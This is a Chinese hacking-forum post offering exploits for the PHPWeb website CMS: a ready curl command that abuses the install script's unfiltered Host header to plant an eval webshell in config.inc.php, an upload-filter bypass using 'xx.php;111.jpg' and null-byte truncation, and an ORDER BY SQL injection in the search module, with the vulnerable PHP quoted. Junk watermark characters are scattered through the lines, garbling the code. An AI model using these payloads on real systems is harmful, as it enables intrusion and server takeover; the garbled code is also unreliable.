中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:3 G7 [/ L; [) @2 Y
. d( f; y0 J1 f5 b" N$ U# a
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码7 F7 ]+ D+ e- X& l. v4 |
: O  w' B: w# x1 y% `
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件. c8 ], \2 m7 Z  L2 ~  e
鸡肋2: 有一定安全常识的站长都会删掉 install 目录( o- }5 \% r" D/ A( A5 f! i* X

2 W8 s: B, x6 O1 S* G1 r% d虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 x( {2 t% N6 S' I3 Y 6 D7 m" w' g, O, e( A  M4 @
分析:& Q4 @% @, k. P) f

' w* v1 c+ {& ^( G4 i% g: O
7 O1 q6 s: f' z/ p. Y$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
! Z1 U& n: `9 k: C2 K: L
9 C! X9 Y3 _" S) C; g/ b) _  u                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 t( d1 G- u( D7 d& R+ m                                            $filestr=str_replace(" ","",$filestr);
( S3 n. o( S% V0 v' a2 N$ J                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);1 a3 N' t+ m2 {" X" a3 g% T# P
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 Y: h/ {, X' p- |9 {0 R0 T                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 h% S3 z( l' e' u% J" E; ^                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);6 t: W: G) k. V9 m% I+ I
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);! O' p( Z9 v0 P* j  \& t; e& b
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
0 N- y8 c# C" G8 J3 _. D. N                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);! F3 _% s$ m' K. I. S
, t/ ~3 {7 Z9 Z1 L3 x
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);. ?( t; a' s- U& E5 K- F
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^2 R5 d# z$ d% j, @0 a# N

1 _2 a. f6 a# cpoc:
5 S. [: y# H- h! j! l1 [ 7 b& F8 O$ A* x1 @" ?$ |
?  F* c! v/ T; @5 g" V
19 }. c/ t- j* F
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
) o1 O/ `% F% @( C1 g! wshell地址: /config.inc.php, L, X. I( _* n7 c2 M% a# T
跟之前的 phpcms一样 需要远程数据库# y% z8 J# O* R- A$ c

4 S& n  y: T1 q. ~$ O+ N" c——————————————————–
+ s# m, R, K& Y; @: N( W# }上传漏洞(需要进后台):
6 F4 T4 U  C( H  p+ J4 m0 Y8 W6 R5 C. x6 Z漏洞文件: /kedit/upload_cgi/upload.php
& h3 D0 g* z# j. j$ n这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
" M2 E' Q7 _: _
2 y" [7 d9 r+ o! X9 D2 Q! g
. |9 _& c' T# a9 s2 \<?php
+ O- P! ?1 z/ H$ W4 n    define("ROOTPATH", "../../");& z  N! J8 A3 o2 h9 _0 i, M7 i
    include(ROOTPATH."includes/admin.inc.php");8 k9 I& S$ k0 t" M  V
    NeedAuth(0);
. z6 F: X3 e( i4 U8 w- c2 x
$ w" M5 v" o2 K2 T    $dt=date("Ymd",time());; n3 T* G6 `( ~3 X* p- e
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){! t/ g! C  A: v* D+ P9 [
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
/ x0 g9 C0 A; M+ u    }
# x9 J* y% q8 |# G
% a; ?6 i2 y' Z, Y    //文件保存目录路径6 }6 c' E$ c5 D$ I/ L7 {
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
! I2 P- F& |, p4 R    echo $save_path;& o3 q3 x" k, Z" b' d1 H0 `1 A
    //文件保存目录URL% x( n; Z3 a4 Y  r" N0 T
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 k1 C5 }+ N8 x5 p) W9 G# s) `' e * l* N: M& l( Q" E, u
    //定义允许上传的文件扩展名
: I# o4 [) s8 q9 m! p$ O    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀# k: T& S4 O; A

5 _9 p5 M' \& o' ^( \    //最大文件大小
% Y( |3 G# \8 q6 _    $max_size = 1000000;, g( f8 Q& v! n6 m1 ~, G
/ X. N) o' {$ k3 _' O+ f
    //更改目录权限' }7 N8 N# p! H9 B
    @mkdir($save_path, 0777);
! H/ p4 v6 I3 @- X5 b6 [& c
8 [& ]* W$ ?& C3 V1 A    //文件的全部路径% d$ z% J% x- o, c$ V! e! f4 N
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
! w# J( K7 v0 ~2 [, z' P$ j( I
! Y" Q/ U0 m7 l1 p1 V4 j1 q* Y    //文件URL
4 M4 o# F' V$ v- u; z/ s, g    $file_url = $save_url.$_POST['fileName'];
- m/ |6 y7 O; |$ L( P& J4 O9 y' n//有上传文件时- G& I* s' [6 L) k
    if (empty($_FILES) === false) {
0 i% s; C' O( [* m4 l$ Y; A, z% V 2 ^$ Y3 I( T+ c6 n& R
            //原文件名
. N: C( q$ L9 j  u6 i            $file_name = $_FILES['fileData']['name'];
8 e7 ]5 c* R: Z6 J* g            //服务器上临时文件名
1 `8 P5 U; \# o& e# ?            $tmp_name = $_FILES['fileData']['tmp_name'];; {! j3 q: D/ Y$ g: {0 v
            //文件大小
4 |2 I' L5 v+ w, L. H1 [            $file_size = $_FILES['fileData']['size'];  i2 f9 h4 ?: W: y. u* o4 W
            //检查目录
, j/ r! E' \$ ^4 H" a/ E            if (@is_dir($save_path) === false) {
8 ?5 u% y7 {" |( u0 a( \                    alert("上传目录不存在。");  Q2 r0 p6 U; s; J- i
            }
6 a/ u6 F- y" B) x# e/ g) D            //检查目录写权限
4 J: R# Z* [. R# ^8 A7 e            if (@is_writable($save_path) === false) {
8 ^2 e1 F/ V% L" m7 w" ?3 i                    alert("上传目录没有写权限。");
  Z. j. {( d0 i' K9 n1 D            }+ C6 F- ]0 h9 y9 Z) W  ~1 W
            //检查是否已上传
# Z, k. B8 [* G9 E  m5 b- S            if (@is_uploaded_file($tmp_name) === false) {8 h5 E: b8 O; Z$ V4 [
                    alert("临时文件可能不是上传文件。");
' d$ S  P7 M, ^2 G3 {( _            }
; e$ P  E8 N& e- a+ w( i7 j7 M            //检查文件大小1 |, \2 J. ]) P# c* [" ~
            if ($file_size > $max_size) {% s8 j4 E7 @, e$ o) i) T" x2 p
                    alert("上传文件大小超过限制。");" T2 @2 e0 ]7 A/ j/ c- N* {; t$ L# ?
            }
7 q) Q2 j0 L4 X; P9 `            //获得文件扩展名1 D) E6 g" n* A* {
            $temp_arr = explode(".", $_POST['fileName']);9 k+ Q# ^. g& p6 P
            $file_ext = array_pop($temp_arr);; \: ^7 x3 ~% F
            $file_ext = trim($file_ext);
3 R9 D/ Q* h+ @5 L            $file_ext = strtolower($file_ext);
  |* x- T, e( z/ o0 G. }
% F8 R+ k2 k- A            //检查扩展名   4 m6 i- g/ J+ ~. u
            if (in_array($file_ext, $ext_arr) === false) {     3 c; v/ J! d9 t  ?2 v. h/ G
                    alert("上传文件扩展名是不允许的扩展名。");! D/ f5 O# D& N& [6 X% D/ e
            }: J% D8 M- Y  u- A% Y* T3 s  D

! J$ h. v, P7 i6 ~6 L' O" l+ Z            //移动文件   6 w' G5 A1 [! j6 E  L% q
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
4 Q5 X! x. N; t            if (move_uploaded_file($tmp_name, $file_path) === false) {$ M( D/ b% O% A* R% Y8 [* P
                    alert("上传文件失败。");, r- Y5 O! i( x4 H$ R
            }
( x' g4 g+ D' Q ; r' r' ?! {- C( h4 r. }$ S, K' X
            @chmod($file_path,0666);
$ Y/ G5 V( y6 z! [2 V  x
; i* Y$ o* f8 w7 Q. [    ?>5 s2 g1 o8 u2 d. l) R! g6 V
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
7 G  Y; C0 y( I) ~' |0 C- D, o9 y+ y 6 a  h, M0 V/ W! v8 x
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 f7 K7 V: p' Z% L  N9 N0 s
2 u! n# J; ~) }1 S——————————————————8 ^" F9 w& n0 F
注入漏洞:
: D: j! C1 f# d5 A5 H6 ~' X. R8 i1 s漏洞文件:search/module/search.php& u$ K/ S/ y7 j3 B9 A4 G
/search/index.php?key=1&myord=1 [sqlinjection]# e5 q, V7 U  W* g) `
. F8 t7 W  R( o) B" N6 ?/ y
) m: f- K/ d, |. V
<?php7 ~4 [6 |0 B" J2 b7 k) ^- h
   //       ... 省略 n 行...
( r' t- S8 E) r) L, _   //第18行:
1 `  i- W- b" I! o: p           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
+ S- K& u4 t8 }: C: V% L$ Y           $page=htmlspecialchars($_GET["page"]);
2 [* C( C2 R# J. e/ b           $myord=htmlspecialchars($_GET["myord"]);
5 M8 W9 X9 b# F: O# E* a- ?4 y8 k % n1 h3 l4 T9 G3 K5 J3 ^+ X& |, J
   //       ... 省略 n 行...
2 F+ O, }$ j9 ~3 p( r+ ]" o   $key,$myord 两个参数带入查询
% X- C" |! G/ b; o( q1 n4 ?, P0 W   //第47行 $key:8 d& X' b4 X7 I8 \

9 H4 y* s; }5 B8 M# ]7 L   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..) v7 ~7 T& @" s  W2 c& @. n- v
' q9 v) ^1 G+ H9 c5 i+ [( O3 ^
   //第197行 $myord
$ a* `# t* J- x* Y0 a   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入: A$ h+ g9 K# F9 o, M( f
8 e. }5 T& I2 G8 J! r% [0 \
   ?>5 t( V- p( o& h% l; ~+ E" \





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2